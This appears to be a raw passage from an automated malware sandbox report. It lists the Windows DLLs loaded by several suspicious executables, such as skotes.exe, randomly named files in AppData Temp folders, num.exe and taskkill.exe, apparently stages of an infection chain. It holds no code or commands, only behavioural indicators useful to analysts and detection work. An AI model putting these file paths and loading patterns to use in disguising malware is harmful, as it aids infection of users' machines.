Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DHMGC7TXSIK31JTC83MV8ND88A.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001606001\b0b9f39429.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001608001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\C2C3IJZ3P2FG16GF7FNFB7ECDJXKRT.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001607001\5e28f62265.exe	Section loaded: winmm.dll
